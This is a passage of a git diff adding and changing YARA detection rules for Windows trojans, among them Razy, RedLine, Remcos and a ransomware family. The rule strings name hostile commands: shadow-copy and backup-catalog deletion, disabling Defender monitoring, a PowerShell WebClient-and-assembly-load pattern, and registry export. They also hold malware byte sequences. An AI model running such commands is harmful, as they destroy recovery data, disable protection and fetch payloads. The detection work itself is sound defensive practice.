1)*1+(#a_00_8 & 1)*2+(#a_00_9 & 1)*20+(#a_00_10 & 1)*1+(#a_02_11 & 1)*40+(#a_02_12 & 1)*40+(#a_00_13 & 1)*20+(#a_00_14 & 1)*200) >=340 + +} \ No newline at end of file diff --git a/Trojan/Win32/RansomLCRYX/Trojan_Win32_RansomLCRYX_BSB_MTB.yar b/Trojan/Win32/RansomLCRYX/Trojan_Win32_RansomLCRYX_BSB_MTB.yar new file mode 100644 index 0000000000..0a760bf0f0 --- /dev/null +++ b/Trojan/Win32/RansomLCRYX/Trojan_Win32_RansomLCRYX_BSB_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_RansomLCRYX_BSB_MTB{ + meta: + description = "Trojan:Win32/RansomLCRYX.BSB!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,34 00 34 00 07 00 00 " + + strings : + $a_00_0 = {44 00 69 00 73 00 61 00 62 00 6c 00 65 00 54 00 61 00 73 00 6b 00 4d 00 67 00 72 00 } //1 DisableTaskMgr + $a_00_1 = {44 00 69 00 73 00 61 00 6c 00 6c 00 6f 00 77 00 52 00 75 00 6e 00 } //1 DisallowRun + $a_00_2 = {53 00 65 00 74 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 52 00 65 00 61 00 6c 00 74 00 69 00 6d 00 65 00 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 69 00 6e 00 67 00 } //10 Set-MpPreference -DisableRealtimeMonitoring + $a_02_3 = {42 00 69 00 74 00 64 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 [0-24] 2d 00 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 } //10 + $a_02_4 = {4b 00 61 00 73 00 70 00 65 00 72 00 73 00 6b 00 79 00 [0-32] 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 } //10 + $a_00_5 = {76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 73 00 68 00 61 00 64 00 6f 00 77 00 73 00 20 00 2f 00 61 00 6c 00 6c 00 20 00 2f 00 71 00 75 00 69 00 65 00 74 00 } //40 vssadmin delete shadows /all /quiet + $a_00_6 = {77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 63 00 61 00 74 00 61 00 6c 00 6f 00 67 00 20 00 2d 00 71 00 75 00 69 00 65 00 74 00 } //40 wbadmin delete catalog -quiet + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*10+(#a_02_3 & 1)*10+(#a_02_4 & 1)*10+(#a_00_5 & 1)*40+(#a_00_6 & 1)*40) >=52 + +} \ No newline at end of file diff --git a/Trojan/Win32/Razy/Trojan_Win32_Razy_ARZ_MTB.yar b/Trojan/Win32/Razy/Trojan_Win32_Razy_ARZ_MTB.yar new file mode 100644 index 0000000000..a402e9daba --- /dev/null +++ b/Trojan/Win32/Razy/Trojan_Win32_Razy_ARZ_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Razy_ARZ_MTB{ + meta: + description = "Trojan:Win32/Razy.ARZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_01_0 = {c6 85 5c ff ff ff 56 c6 85 5d ff ff ff 69 c6 85 5e ff ff ff 72 c6 85 5f ff ff ff 74 c6 85 60 ff ff ff 75 c6 85 61 ff ff ff 61 c6 85 62 ff ff ff 6c c6 85 63 ff ff ff 41 c6 85 64 ff ff ff 6c c6 85 65 ff ff ff 6c c6 85 66 ff ff ff 6f c6 85 67 ff ff ff 63 } //3 + $a_01_1 = {c6 85 4c ff ff ff 43 c6 85 4d ff ff ff 72 c6 85 4e ff ff ff 65 c6 85 4f ff ff ff 61 c6 85 50 ff ff ff 74 c6 85 51 ff ff ff 65 c6 85 52 ff ff ff 54 c6 85 53 ff ff ff 68 c6 85 54 ff ff ff 72 c6 85 55 ff ff ff 65 c6 85 56 ff ff ff 61 c6 85 57 ff ff ff 64 } //2 + $a_01_2 = {c6 45 98 57 c6 45 99 69 c6 45 9a 6e c6 45 9b 45 c6 45 9c 78 c6 45 9d 65 c6 45 9e 63 } //1 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Razy/Trojan_Win32_Razy_AYR_MTB.yar b/Trojan/Win32/Razy/Trojan_Win32_Razy_AYR_MTB.yar new file mode 100644 index 0000000000..c71b49262b --- /dev/null +++ b/Trojan/Win32/Razy/Trojan_Win32_Razy_AYR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Razy_AYR_MTB{ + meta: + description = "Trojan:Win32/Razy.AYR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {09 fa 83 ec 04 c7 04 24 ?? ?? ?? ?? 09 d1 81 e9 ?? ?? ?? ?? 21 fe ff d3 81 c7 ?? ?? ?? ?? 42 29 d7 5b 89 ca f7 d6 89 d7 68 ?? ?? ?? ?? 46 09 f2 f7 d2 50 42 29 d1 ff d3 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Razy/Trojan_Win32_Razy_C_MTB.yar b/Trojan/Win32/Razy/Trojan_Win32_Razy_C_MTB.yar new file mode 100644 index 0000000000..a5350b450a --- /dev/null +++ b/Trojan/Win32/Razy/Trojan_Win32_Razy_C_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_Razy_C_MTB{ + meta: + description = "Trojan:Win32/Razy.C!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 00 " + + strings : + $a_01_0 = {53 00 70 00 79 00 20 00 49 00 73 00 20 00 41 00 63 00 74 00 69 00 76 00 65 00 20 00 21 00 } //2 Spy Is Active ! + $a_01_1 = {52 00 65 00 70 00 6f 00 72 00 74 00 69 00 6e 00 67 00 20 00 3a 00 20 00 54 00 68 00 69 00 73 00 20 00 43 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 20 00 54 00 75 00 72 00 6e 00 65 00 64 00 20 00 4f 00 6e 00 20 00 41 00 74 00 3a 00 } //2 Reporting : This Computer Turned On At: + $a_01_2 = {49 00 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 41 00 63 00 63 00 65 00 73 00 73 00 2e 00 74 00 78 00 74 00 } //1 InformationAccess.txt + $a_01_3 = {41 00 64 00 6f 00 62 00 65 00 21 00 2e 00 65 00 78 00 65 00 } //1 Adobe!.exe + $a_01_4 = {53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 00 6e 00 } //1 Software\Microsoft\Windows\CurrentVersion\Run + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/Razy/Trojan_Win32_Razy_PGRZ_MTB.yar b/Trojan/Win32/Razy/Trojan_Win32_Razy_PGRZ_MTB.yar new file mode 100644 index 0000000000..d85182b9d7 --- /dev/null +++ b/Trojan/Win32/Razy/Trojan_Win32_Razy_PGRZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Razy_PGRZ_MTB{ + meta: + description = "Trojan:Win32/Razy.PGRZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {25 3f 75 75 3d 75 3f f4 d6 75 3d 1b 75 75 75 5a 1f 6e 24 3f 4a 1f 3d f4 7d 75 3d f4 75 9d 6e 75 80 02 00 00 bd 75 97 bd 3f ac a9 01 91 25 76 86 91 cd 73 a5 a5 2d a4 b6 ea 02 08 18 9b 81 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Razy/Trojan_Win32_Razy_PGR_MTB.yar b/Trojan/Win32/Razy/Trojan_Win32_Razy_PGR_MTB.yar new file mode 100644 index 0000000000..9e4eed083a --- /dev/null +++ b/Trojan/Win32/Razy/Trojan_Win32_Razy_PGR_MTB.yar @@ -0,0 +1,31 @@ + +rule Trojan_Win32_Razy_PGR_MTB{ + meta: + description = "Trojan:Win32/Razy.PGR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {83 ec 04 c7 04 24 ?? ?? ?? ?? 59 09 f6 ?? ?? ?? ?? ?? 31 10 81 c0 ?? ?? ?? ?? 46 39 d8 75 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} +rule Trojan_Win32_Razy_PGR_MTB_2{ + meta: + description = "Trojan:Win32/Razy.PGR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {66 bb e0 2c 8d 15 ?? ?? ?? ?? 87 cb c1 db 0a 89 d7 ?? 33 f7 c1 e3 0d 33 d8 81 f2 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} +rule Trojan_Win32_Razy_PGR_MTB_3{ + meta: + description = "Trojan:Win32/Razy.PGR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {89 4d b4 8a 10 8b 45 e8 89 c1 81 c1 ?? ?? ?? ?? 89 4d e8 8a 75 cb 80 c6 4f 88 75 cb 88 10 8b 45 d8 8b 4d b0 01 c8 89 45 d8 eb } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Razy/Trojan_Win32_Razy_PGZ_MTB.yar b/Trojan/Win32/Razy/Trojan_Win32_Razy_PGZ_MTB.yar new file mode 100644 index 0000000000..8f24830928 --- /dev/null +++ b/Trojan/Win32/Razy/Trojan_Win32_Razy_PGZ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Razy_PGZ_MTB{ + meta: + description = "Trojan:Win32/Razy.PGZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {2e 74 65 78 74 00 00 00 ae 18 00 00 00 ?? ?? 00 00 1a 00 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 } //4 + $a_03_1 = {2e 64 61 74 61 00 00 00 00 ?? 09 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 } //1 + condition: + ((#a_03_0 & 1)*4+(#a_03_1 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Reconyc/Trojan_Win32_Reconyc_GVB_MTB.yar b/Trojan/Win32/Reconyc/Trojan_Win32_Reconyc_GVB_MTB.yar new file mode 100644 index 0000000000..6805682d84 --- /dev/null +++ b/Trojan/Win32/Reconyc/Trojan_Win32_Reconyc_GVB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Reconyc_GVB_MTB{ + meta: + description = "Trojan:Win32/Reconyc.GVB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {96 8e fd 44 dd a1 8a f3 5a e5 b6 07 02 3c 25 83 ae ec 78 b5 de a7 07 0d d2 15 82 dd 02 63 a3 b5 7a 7f d9 0f 9a 51 72 0d 3e 5b 89 e4 64 ce 6c 2d } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/RedLineStealer/Trojan_Win32_RedLineStealer_BAA_MTB.yar b/Trojan/Win32/RedLineStealer/Trojan_Win32_RedLineStealer_BAA_MTB.yar new file mode 100644 index 0000000000..332bb3a589 --- /dev/null +++ b/Trojan/Win32/RedLineStealer/Trojan_Win32_RedLineStealer_BAA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_RedLineStealer_BAA_MTB{ + meta: + description = "Trojan:Win32/RedLineStealer.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {8d 0c 16 8b c2 42 83 e0 ?? 8a 04 38 8b 7d ?? 32 04 39 88 01 3b 95 ?? ?? ?? ?? 72 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/RedLineStealer/Trojan_Win32_RedlineStealer_GTD_MTB.yar b/Trojan/Win32/RedLineStealer/Trojan_Win32_RedlineStealer_GTD_MTB.yar new file mode 100644 index 0000000000..eedd28c4de --- /dev/null +++ b/Trojan/Win32/RedLineStealer/Trojan_Win32_RedlineStealer_GTD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_RedlineStealer_GTD_MTB{ + meta: + description = "Trojan:Win32/RedlineStealer.GTD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {83 c4 10 8d 85 ?? ?? ?? ff 50 8d 85 ?? ?? ?? ff 50 8d 85 ?? ?? ?? ff 50 ff 15 ?? ?? ?? ?? 6a 00 68 00 00 00 80 6a 00 6a 00 ff b4 b5 ?? ?? ?? ?? 57 ff 15 ?? ?? ?? ?? 8b f0 85 f6 0f 84 ?? ?? ?? ?? 6a 00 68 80 00 00 00 6a 02 6a 00 6a 00 68 00 00 00 40 8d 85 ?? ?? ?? ?? 50 ff 15 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/RedLineStealer/Trojan_Win32_RedlineStealer_Z_MTB.yar b/Trojan/Win32/RedLineStealer/Trojan_Win32_RedlineStealer_Z_MTB.yar new file mode 100644 index 0000000000..eb1087ba09 --- /dev/null +++ b/Trojan/Win32/RedLineStealer/Trojan_Win32_RedlineStealer_Z_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_RedlineStealer_Z_MTB{ + meta: + description = "Trojan:Win32/RedlineStealer.Z!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_00_0 = {23 00 2b 00 33 00 3b 00 43 00 53 00 63 00 73 00 } //1 #+3;CScs + $a_00_1 = {68 10 84 2d 2c 71 ea 7e 2c 71 ea 7e 2c 71 ea 7e 32 23 7f 7e 3f 71 ea 7e 0b b7 91 7e 2b 71 ea 7e 2c 71 eb 7e 5c 71 ea 7e 32 23 6e 7e 1c 71 ea 7e 32 23 69 7e a2 71 ea 7e 32 23 7b 7e 2d 71 ea 7e } //1 + $a_00_2 = {83 ec 38 53 b0 d7 88 44 24 2b 88 44 24 2f b0 c1 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8b f1 b8 0c 00 fe ff 2b c6 89 44 24 14 b8 0d 00 fe ff 2b c6 89 44 24 1c b8 02 00 fe ff 2b c6 89 44 24 } //1 + $a_01_3 = {64 65 6c 65 74 65 5b 5d } //1 delete[] + $a_01_4 = {63 6f 6e 73 74 72 75 63 74 6f 72 20 6f 72 20 66 72 6f 6d 20 44 6c 6c 4d 61 69 6e } //1 constructor or from DllMain + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Redline/Trojan_Win32_Redline_AC_MTB.yar b/Trojan/Win32/Redline/Trojan_Win32_Redline_AC_MTB.yar new file mode 100644 index 0000000000..993e25f73c --- /dev/null +++ b/Trojan/Win32/Redline/Trojan_Win32_Redline_AC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Redline_AC_MTB{ + meta: + description = "Trojan:Win32/Redline.AC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {18 29 4a 5b cd 35 d5 84 17 f3 ?? 4c d1 44 ec a7 37 59 8a 68 a5 86 f0 f9 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Redline/Trojan_Win32_Redline_GTD_MTB.yar b/Trojan/Win32/Redline/Trojan_Win32_Redline_GTD_MTB.yar index c3792943f8..9ade89160f 100644 --- a/Trojan/Win32/Redline/Trojan_Win32_Redline_GTD_MTB.yar +++ b/Trojan/Win32/Redline/Trojan_Win32_Redline_GTD_MTB.yar @@ -3,6 +3,16 @@ rule Trojan_Win32_Redline_GTD_MTB{ meta: description = "Trojan:Win32/Redline.GTD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + strings : + $a_03_0 = {8b 55 f8 8a 14 11 80 f2 42 88 14 01 41 3b 4d fc ?? ?? 8b 4d fc 50 88 1c 08 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} +rule Trojan_Win32_Redline_GTD_MTB_2{ + meta: + description = "Trojan:Win32/Redline.GTD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + strings : $a_03_0 = {0f be c0 69 c8 ?? ?? ?? ?? ba ?? ?? ?? ?? 89 c8 f7 ea 8d 04 0a c1 f8 ?? 89 c2 89 c8 c1 f8 ?? 29 c2 89 d0 ba ?? ?? ?? ?? 0f af c2 89 c1 8b 55 f0 8b 45 0c 01 d0 31 cb 89 da 88 10 83 45 f0 01 eb } //10 condition: diff --git a/Trojan/Win32/RegistryExfil/Trojan_Win32_RegistryExfil_B.yar b/Trojan/Win32/RegistryExfil/Trojan_Win32_RegistryExfil_B.yar index 3b06850d44..fa47b36ecf 100644 --- a/Trojan/Win32/RegistryExfil/Trojan_Win32_RegistryExfil_B.yar +++ b/Trojan/Win32/RegistryExfil/Trojan_Win32_RegistryExfil_B.yar @@ -1,7 +1,7 @@ rule Trojan_Win32_RegistryExfil_B{ meta: - description = "Trojan:Win32/RegistryExfil.B,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 05 00 00 " + description = "Trojan:Win32/RegistryExfil.B,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 07 00 00 " strings : $a_00_0 = {72 00 65 00 67 00 2e 00 65 00 78 00 65 00 } //10 reg.exe @@ -9,7 +9,9 @@ rule Trojan_Win32_RegistryExfil_B{ $a_00_2 = {63 00 6f 00 70 00 79 00 } //1 copy $a_00_3 = {73 00 61 00 76 00 65 00 } //1 save $a_00_4 = {65 00 78 00 70 00 6f 00 72 00 74 00 } //1 export + $a_00_5 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-1000 msedgewebview2.exe + $a_00_6 = {69 00 66 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 3d 00 3d 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 65 00 63 00 68 00 6f 00 } //-1000 if false == false echo condition: - ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=21 + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*-1000+(#a_00_6 & 1)*-1000) >=21 } \ No newline at end of file diff --git a/Trojan/Win32/Remcos/Trojan_Win32_Remcos_ARMS_MTB.yar b/Trojan/Win32/Remcos/Trojan_Win32_Remcos_ARMS_MTB.yar new file mode 100644 index 0000000000..00622cf833 --- /dev/null +++ b/Trojan/Win32/Remcos/Trojan_Win32_Remcos_ARMS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Remcos_ARMS_MTB{ + meta: + description = "Trojan:Win32/Remcos.ARMS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {83 c4 18 8d 45 f0 50 8d 45 a8 50 57 57 68 00 00 00 08 57 57 57 68 58 89 46 00 68 dc 89 46 00 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Remcos/Trojan_Win32_Remcos_AROS_MTB.yar b/Trojan/Win32/Remcos/Trojan_Win32_Remcos_AROS_MTB.yar new file mode 100644 index 0000000000..f851f9ecfa --- /dev/null +++ b/Trojan/Win32/Remcos/Trojan_Win32_Remcos_AROS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Remcos_AROS_MTB{ + meta: + description = "Trojan:Win32/Remcos.AROS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {59 33 f6 8b f8 56 56 56 6a 01 56 ff 15 ?? ?? ?? ?? 56 68 00 00 00 80 56 56 8b e8 68 b4 d9 46 00 55 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Remcos/Trojan_Win32_Remcos_ARSM_MTB.yar b/Trojan/Win32/Remcos/Trojan_Win32_Remcos_ARSM_MTB.yar new file mode 100644 index 0000000000..5ec0daadbc --- /dev/null +++ b/Trojan/Win32/Remcos/Trojan_Win32_Remcos_ARSM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Remcos_ARSM_MTB{ + meta: + description = "Trojan:Win32/Remcos.ARSM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {68 30 f1 46 00 68 f0 ea 46 00 ff d7 50 ff d6 68 48 f1 46 00 bd 94 ee 46 00 a3 30 7b 47 00 55 ff d7 50 ff d6 68 60 f1 46 00 55 a3 1c 7b 47 00 ff d3 50 ff d6 68 70 f1 46 00 55 a3 28 7b 47 00 ff d3 50 ff d6 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Remcos/Trojan_Win32_Remcos_GVC_MTB.yar b/Trojan/Win32/Remcos/Trojan_Win32_Remcos_GVC_MTB.yar new file mode 100644 index 0000000000..1280f73441 --- /dev/null +++ b/Trojan/Win32/Remcos/Trojan_Win32_Remcos_GVC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Remcos_GVC_MTB{ + meta: + description = "Trojan:Win32/Remcos.GVC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {30 84 0a 17 00 00 00 02 84 0a 17 00 00 00 e2 f0 } //3 + $a_01_1 = {30 94 0e 17 00 00 00 02 94 0e 17 00 00 00 e2 f0 } //3 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*3) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Remcos/Trojan_Win32_Remcos_HB_MTB.yar b/Trojan/Win32/Remcos/Trojan_Win32_Remcos_HB_MTB.yar new file mode 100644 index 0000000000..13719c9182 --- /dev/null +++ b/Trojan/Win32/Remcos/Trojan_Win32_Remcos_HB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Remcos_HB_MTB{ + meta: + description = "Trojan:Win32/Remcos.HB!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 00 " + + strings : + $a_02_0 = {5c 00 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 74 00 65 00 78 00 74 00 20 00 63 00 3a 00 5c 00 75 00 73 00 65 00 72 00 73 00 5c 00 [0-60] 5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 6c 00 6f 00 63 00 61 00 6c 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 } //1 + $a_02_1 = {2f 00 73 00 74 00 65 00 78 00 74 00 20 00 63 00 3a 00 5c 00 75 00 73 00 65 00 72 00 73 00 5c 00 [0-60] 5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 6c 00 6f 00 63 00 61 00 6c 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 [0-60] 2e 00 } //-100 + condition: + ((#a_02_0 & 1)*1+(#a_02_1 & 1)*-100) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Remcos/Trojan_Win32_Remcos_NR_MTB.yar b/Trojan/Win32/Remcos/Trojan_Win32_Remcos_NR_MTB.yar index ceb2ad3f94..43bec9e363 100644 --- a/Trojan/Win32/Remcos/Trojan_Win32_Remcos_NR_MTB.yar +++ b/Trojan/Win32/Remcos/Trojan_Win32_Remcos_NR_MTB.yar @@ -9,4 +9,15 @@ rule Trojan_Win32_Remcos_NR_MTB{ condition: ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 +} +rule Trojan_Win32_Remcos_NR_MTB_2{ + meta: + description = "Trojan:Win32/Remcos.NR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {2b d0 83 f2 00 0f af 95 ?? ?? ff ff 69 8d ?? ?? ff ff f1 fe c9 98 2b d1 89 95 ?? ?? ff ff e9 ?? ?? ?? ?? c7 85 ?? ?? ff ff 01 00 00 00 } //3 + $a_03_1 = {2b d0 33 95 ?? ?? ff ff 0f af 95 ?? ?? ff ff 69 8d ?? ?? ff ff f1 fe c9 98 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + } \ No newline at end of file diff --git a/Trojan/Win32/RemcosRAT/Trojan_Win32_RemcosRAT_A_MTB.yar b/Trojan/Win32/RemcosRAT/Trojan_Win32_RemcosRAT_A_MTB.yar index 4a12d8ef7f..b424953d97 100644 --- a/Trojan/Win32/RemcosRAT/Trojan_Win32_RemcosRAT_A_MTB.yar +++ b/Trojan/Win32/RemcosRAT/Trojan_Win32_RemcosRAT_A_MTB.yar @@ -19,7 +19,7 @@ rule Trojan_Win32_RemcosRAT_A_MTB_2{ strings : $a_00_0 = {6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 } //10 net.webclient - $a_00_1 = {5b 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 72 00 65 00 66 00 6c 00 65 00 63 00 74 00 69 00 6f 00 6e 00 2e 00 61 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 5d 00 3a 00 3a 00 6c 00 6f 00 61 00 64 00 28 00 24 00 } //10 [system.reflection.assembly]::load($ + $a_00_1 = {72 00 65 00 66 00 6c 00 65 00 63 00 74 00 69 00 6f 00 6e 00 2e 00 61 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 5d 00 3a 00 3a 00 6c 00 6f 00 61 00 64 00 28 00 24 00 } //10 reflection.assembly]::load($ $a_00_2 = {2e 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 28 00 24 00 } //10 .invoke($ $a_00_3 = {68 00 74 00 74 00 70 00 } //10 http condition: diff --git a/Trojan/Win32/RemcosRAT/Trojan_Win32_RemcosRAT_BSA_MTB.yar b/Trojan/Win32/RemcosRAT/Trojan_Win32_RemcosRAT_BSA_MTB.yar new file mode 100644 index 0000000000..2d865e60f2 --- /dev/null +++ b/Trojan/Win32/RemcosRAT/Trojan_Win32_RemcosRAT_BSA_MTB.yar @@ -0,0 +1,23 @@ + +rule Trojan_Win32_RemcosRAT_BSA_MTB{ + meta: + description = "Trojan:Win32/RemcosRAT.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_01_0 = {57 e8 18 0c fb ff 83 f8 01 1b c0 40 84 c0 0f 84 98 00 00 00 b3 01 83 } //10 + $a_81_1 = {41 6d 73 69 49 6e 69 74 69 61 6c 69 7a 65 } //1 AmsiInitialize + condition: + ((#a_01_0 & 1)*10+(#a_81_1 & 1)*1) >=11 + +} +rule Trojan_Win32_RemcosRAT_BSA_MTB_2{ + meta: + description = "Trojan:Win32/RemcosRAT.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 00 " + + strings : + $a_01_0 = {61 00 73 00 73 00 75 00 72 00 65 00 72 00 20 00 67 00 65 00 6e 00 73 00 74 00 61 00 72 00 74 00 65 00 64 00 65 00 73 } //12 + $a_01_1 = {73 00 69 00 66 00 74 00 65 00 72 00 20 00 73 00 6b 00 61 00 6b 00 6b 00 65 00 72 00 6e 00 65 00 73 } //8 + condition: + ((#a_01_0 & 1)*12+(#a_01_1 & 1)*8) >=20 + +} \ No newline at end of file diff --git a/Trojan/Win32/RemoteAdmin/Trojan_Win32_RemoteAdmin_PAGO_MTB.yar b/Trojan/Win32/RemoteAdmin/Trojan_Win32_RemoteAdmin_PAGO_MTB.yar new file mode 100644 index 0000000000..39d2b0deae --- /dev/null +++ b/Trojan/Win32/RemoteAdmin/Trojan_Win32_RemoteAdmin_PAGO_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_RemoteAdmin_PAGO_MTB{ + meta: + description = "Trojan:Win32/RemoteAdmin.PAGO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 05 00 00 " + + strings : + $a_01_0 = {3f 68 3d 72 65 6c 61 79 2e 76 61 68 65 6c 